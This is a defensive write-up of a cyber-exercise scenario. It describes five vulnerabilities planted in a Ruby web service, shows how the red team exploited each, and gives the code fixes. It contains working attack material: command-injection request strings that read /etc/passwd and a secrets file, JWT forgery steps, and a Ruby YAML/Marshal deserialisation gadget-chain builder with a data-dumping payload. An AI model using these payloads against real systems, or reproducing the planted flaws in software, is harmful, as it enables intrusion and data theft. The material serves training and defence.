On 8 July 2020, Cyber Polygon — an international online cybersecurity training — took place for the second time. The technical exercise was attended by 120 teams from some of the largest Russian and international organizations across 29 countries. Among the participants were: banks, telecom providers, energy suppliers, medical institutions, universities as well as government and law enforcement agencies.
The participants acting as blue teams had to defend their segments of the training infrastructure. The organizers (BI.ZONE) acted as the red team and simulated the cyberattacks.
The exercise included two scenarios: Defense and Response.
This article goes into details of the Defense scenario, where the participants had to repel an attack conducted by the red team, and covers the following topics:
- basic game mechanics
- infrastructure and game service provided to the participants
- vulnerabilities embedded in the services
- exploitation scenarios and attack detection methods
- vulnerability remediation methods
Legend
According to the legend, the organization’s virtual infrastructure included a service which processed confidential client information. This service became the subject of interest to an APT group. Cybercriminals were going to steal confidential user data and then resell it on the Darknet in order to receive a financial benefit and cause damage to company reputation.
The APT group studied the target system in advance and discovered several critical vulnerabilities. The gang launched the attack on the day of the exercise.
The blue teams had to:
- contain the attack as fast as possible
- minimise the amount of information stolen
- maintain the service availability
The participants could apply any available and familiar methods and tools to protect the infrastructure.
Core Mechanics
The team members who had participated in Attack-Defenсe CTF may have noticed some similarities between this format of cybersecurity competition and the scenario being described. However, during the Cyber Polygon training, the participants were not expected to attack each other — all they had to do was protect their own services.
This rule was introduced to ensure that all the participants were on an equal playing field and could focus on improving their defensive skills. Besides, it enabled a more objective assessment of the teams’ skills due to more accurate quantitative metrics.
The following indicators were used as metrics:
Health Points (HP). A simple numerical value. Every time when the red team successfully exploited a vulnerability in the blue team’s services and captured the flag, the blue team lost HP. The more vulnerabilities the red team was able to exploit, the more HP the team lost. HP was deducted once per round.
Service Level Agreement (SLA). In the context of this scenario, SLA indicated the integrity and accessibility of a service. It was measured as a percentage (0–100%). The defending team lost SLA points if the service was made unavailable or malfunctioned at the moment the checker contacted it. The checker could access any service several times per round, but each team’s services were checked an equal number of times. The resulting SLA was calculated as the percentage of successful checks (when the service was available and fully functional) to the total number of checks.
Checker is the mechanics that allowed the organizers to check if the teams’ services were fully functional. Since the game service simulated a real web application, the checker was also used to ensure compliance with the rules of the game: the participants could not simply turn off the service or disable some of its features, all they could do was defend their segments against red team attacks.
The final score for the scenarios was calculated as SLA * HP.
The participants were given 30 minutes for preparation, i.e. they were supposed to familiarise themselves with the service provided, roll out monitoring and defensive tools and start searching for vulnerabilities in the service code.
After the 30 minutes began the so-called ’active phase’ of the scenario: the red team started their attack. The active phase consisted of 18 rounds, 5 minutes each.
Before the start of the scenario, each team received 180 HP for each of the 5 vulnerabilities embedded in the service (900 HP in total). The team lost 10 HP for each vulnerability exploited. Thus, if the team had 3 vulnerabilities exploited during a round, it lost a total of 30 HP in this round, and if 5 vulnerabilities were exploited — 50 HP respectively.
Apart from controlling the availability of the teams’ services, the checker was used to deliver the so-called flag to the teams’ services at the beginning of each round (using legitimate service functions). Flag is a ‘Polygon{JWT}’ format string, where JWT stands for JSON Web Token.
In this scenario, the flag represented confidential data: the more flags the red team was able to steal, the more data was leaked. A stolen flag also meant the exploitation of a vulnerability: the team lost HP once the red team took advantage of a vulnerability and grabbed the flag.
Infrastructure and Game Service
Each participating team was provided with a virtual server running the Linux operating system.
After connecting via VPN, the participants got access to their server through SSH. The teams were granted full (root) access to their system.
The participants’ game service was available from the user’s home directory /home/cyberpolygon/ch4ng3org
.
The game service backend was written in Ruby, while the frontend used the React JS framework. The database was managed by the PostgreSQL DBMS.
The service was designed to be rolled out on Docker, which was evident from its directory: for instance, it contained such files as Dockerfile
and docker-compose.yml
.
The participants had full access to the service’s source codes, configuration files and the database, and could use this information to search for and fix vulnerabilities in the service.
Vulnerabilities
Insecure Direct Object References
The vulnerability referred to as insecure direct object reference (IDOR) is caused by flaws in authorisation mechanisms. The vulnerability allows an attacker to gain access to otherwise inaccessible user data.
This vulnerability was present in the game service under the get
method of the UsersController
class.
backend/app/controllers/users_controller.rb:
>
def get
user = User.find(params[:id])
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
When calling the address http://example.com/api/users/<USER_ID>
, where USER_ID
is a numeric user identifier, any user could get a JSON object containing a numeric identifier and a username corresponding to that numeric identifier.
This functionality as such does not pose any threat to user data. You should rather focus on the following code snippet:
>
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
Note that if the full
parameter is transmitted in a request, the server response will return more data: in addition to the user ID and username, it will contain their email and phone number.
The flags were stored in and could be stolen from the user.phone
field in the game service’s directory (this activity could be detected, for example, by analysing the network traffic). Each round, the checker created several users and saved the flag as one of such users’ phone number.
In order to take advantage of this weakness, the red team sent requests like http://example.com/api/users/<USER_ID>?full=1
to the service and searched for the flag in the phone
field of the output JSON objects.
To protect against this vulnerability, it would be good practice to obscure sensitive data when displaying it to the user. Thus, the phone number +71112223344
can be shown as +7111*****44
.
For example:
>
def get
user = User.find(params[:id])
if params[:full].present?
# Masking user's phone number
uphone = user.phone
x = 5
y = uphone.length - 3
replacement = '*'*(y-x)
uphone[x..y] = replacement
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: uphone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
In this case, the red team would have got a line like Polyg********X
} instead of the full flag value and the participating team could have avoided losing HP due to this vulnerability being exploited.
Command Injection
Command injection is the result of inadequate filtering of user data. This vulnerability enables an attacker to inject OS commands that are executed on the target system with the privileges of the vulnerable application.
In the game service, the vulnerability was present in the disk_stats
method of the StatsController
class.
backend/app/controllers/stats_controller.rb:
def disk_stats
if params[:flags].present?
flags = params[:flags]
else
flags = ''
end
json_response({
disk: `df #{flags}`
})
end
When calling the address http://example.com/api/disk_stats
, the service responds with the output system df utility in the JSON object disk field, which allows to evaluate the amount of free space in the file system.
The command being called was designed to transmit various parameters, but their value is not filtered out:
>
if params[:flags].present?
flags = params[:flags]
~~~~~~~~~~~~~~~~~~~~~~~~~~
json_response({
disk: `df #{flags}`
})
This means that a potential attacker can execute virtually any command in the system using special command-line syntax.
For example, by running a request http://example.com/api/disk_stats?flags=;cat /etc/passwd
a threat actor will be able to read the contents of system file /etc/passwd
.
This is how the red team exploited this weakness:
- By sending a request
http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml
, the attackers obtained the contents of thebackend/config/secrets.yml
file, which stored the private key for signing JWT tokens. - Having obtained the private key, the red team could generate and sign a JWT token valid for any user. Given that the red team used the current private key of the service, this token would have been successfully validated and accepted by the application.
- By sending a request
http://example.com/api/me
on behalf of the user for whom the token was generated, the red team obtained the user’s phone number and checked it for a flag.
To protect against this vulnerability, a sufficient measure was to prohibit any parameters from being injected in the command call, as the overall system performance is not tied to this endpoint being used:
def disk_stats
json_response({
disk: `df`
})
end
Security Misconfiguration
The vulnerability known as security misconfiguration is usually caused by a human factor. Standard application configurations are often not specifically geared towards security. Due to the lack of proactivity, attention or competence of responsible staff, these configurations sometimes remain unadapted to harsh realities which comes with significant security implications.
The game service had this vulnerability embedded in the db
service description, in the docker-compose.yml
file.
docker-compose.yml:
db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
ports:
- 5432:5432
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD: ch4ng3
As you can see, the network port of the database is available from the external network:
ports:
- 5432:5432
Besides, the database server uses one and the same line as a database name, username and password, which also matches the service ch4ng3.org
.
Having detected the database port as a result of network scanning, the red team was able to brute-force the login and password to the database. It then executed an SQL statement below, which returned all user phone numbers with flags inside:
SELECT phone FROM users WHERE phone LIKE 'Polygon%'
To protect against this vulnerability, the ideal solution would have been to prohibit the database from being connected externally and to change the database user password (with the api
service reconfigured accordingly):
db: image: postgres restart: always network_mode: bridge volumes: - ./db_data:/var/lib/postgresql/data environment: POSTGRES_DB: ch4ng3 POSTGRES_USER: ch4ng3 POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~environment: - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable
However, one of the two actions would have sufficed: either changing the database user password to a stronger one or prohibiting database connections from the external network.
JWT Signature Algorithm Change
The next vulnerability buried in the game service related to JWT signature algorithm change.
It was present in the decode
method of the JsonWebToken
class.
backend/app/lib/json_web_token.rb:
def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
The following lines deserve a closer look:
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
The application loads the line with the service public key from the configuration file and, where an RS256
algorithm has been transmitted in the token, converts that line to an RSA public key, which is further used to verify the token signature.
Note that if any other value is transmitted in the algorithm
parameter, the public key line will not be converted. If the HS256
value is sent to the alg
JWT field, the HMAC symmetric algorithm will be used for token signature verification, and exactly this public key line will be used as a key to verify the token signature.
This is how this weakness was exploited by the red team:
- By sending a request
http://example.com/api/auth/third_party
, the attackers received the service public key from thepublic_key
field of the output JSON object. - Having obtained the public key, the red team could generate a valid JWT token for any user by sending the
HS256
value to thealg
JWT field and signing the token, with the service public key line used as a secret for the HMAC algorithm. - By sending a request
http://example.com/api/me
on behalf of the user for whom the token was generated, the red team obtained the user’s phone number and checked it for a flag.
To protect against this vulnerability, the following recommendation could have helped: when working with JWT, you better use only one signature algorithm at a time — either symmetric or asymmetric. Thus, the easiest fix would be:
backend/app/lib/json_web_token.rb:
def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
else
raise ExceptionHandler::InvalidToken, Message.invalid_token
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
Now, if you send a value other than RS256
to the token’s alg
field, the token will be marked as invalid and the red team will not be able to access the application on behalf of other users by signing tokens with the service public key.
YAML Insecure Deserialisation
The last vulnerability embedded in the game service was associated with YAML insecure deserialisation.
The import
method of the PetitionsController
class was responsible for importing petitions through their YAML-format description.
backend/app/controllers/petitions_controller.rb:
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Particular attention should have been given to the following code lines:
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
As you may have noticed, the contents of a YAML object are taken from the base64-coded petition
parameter and then converted into Ruby objects using the YAML.load(yaml)
structure.
This structure is insecure and allows, among other things, arbitrary Ruby code execution on the target system within the vulnerable application, which is what the red team did.
The following script was used to generate a YAML object to take advantage of this weakness:
require "erb"
require "base64"
require "active_support"
if ARGV.empty?
puts "Usage: exploit_builder.rb <source_file>"
exit!
end
erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
payload = Base64.encode64(Marshal.dump(depr))
puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
- !ruby/object:Rack::Session::Abstract::SessionHash
req: !ruby/object:Rack::Request
env:
rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
loaded: true
HTTP_COOKIE: "a=#{payload}"
store: !ruby/object:Rack::Session::Cookie
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
key: a
secrets: []
exists: true
PAYLOAD
The following code was applied as the payload:
phones = ''
User.all().each do |user|
phones += user.phone + ';'
end
raise phones
The code received the phone numbers of all users registered with the service, combined them through (;)
and applied the raise
structure to cause an exception, sending the line with the users’ phone numbers as an error message.
The error message was then returned by the server to the JSON object message
field together with the response code 500. Once the red team received this response, all it had to do was locate the flag in the error message.
To protect against this vulnerability, it was sufficient to replace the call of the YAML.load(yaml)
function with the call of the YAML.safe_load(yaml)
function. However, during the availability check, the checker verified that the transmitted YAML object allowed for aliases to be applied. Hence, the resulting structure is represented as follows: YAML.safe_load(yaml, aliases: true)
.
And the resulting secure function accordingly:
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.safe_load(yaml, aliases: true)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Conclusion
In our article, we explored the vulnerabilities implanted in Cyber Polygon’s Defense scenario game service, analysed the applied exploitation scenarios and gave examples of remediation that would have allowed the participants to protect their services against the red team.
We would use the patch methods from the examples in a real-life situation. However, you should keep in mind that these are not the only possible effective methods.
The scenario assumed that the participants would be able to defend themselves without having to patch the code in their game services. For example, to protect against the third vulnerability — security misconfiguration, which is associated with an insecure Docker configuration, it was sufficient to block the database port on the firewall.
However, we believe that the best solution is to remediate the flaws in services and applications rather than resorting to ’palliative’ measures, which sooner or later may not be sufficient to withstand an attack. This is why we examined in detail the source code corrections as a means to protect against vulnerabilities.
We hope that you have found the exercise useful and insightful, and look forward to seeing you at the next Cyber Polygon events.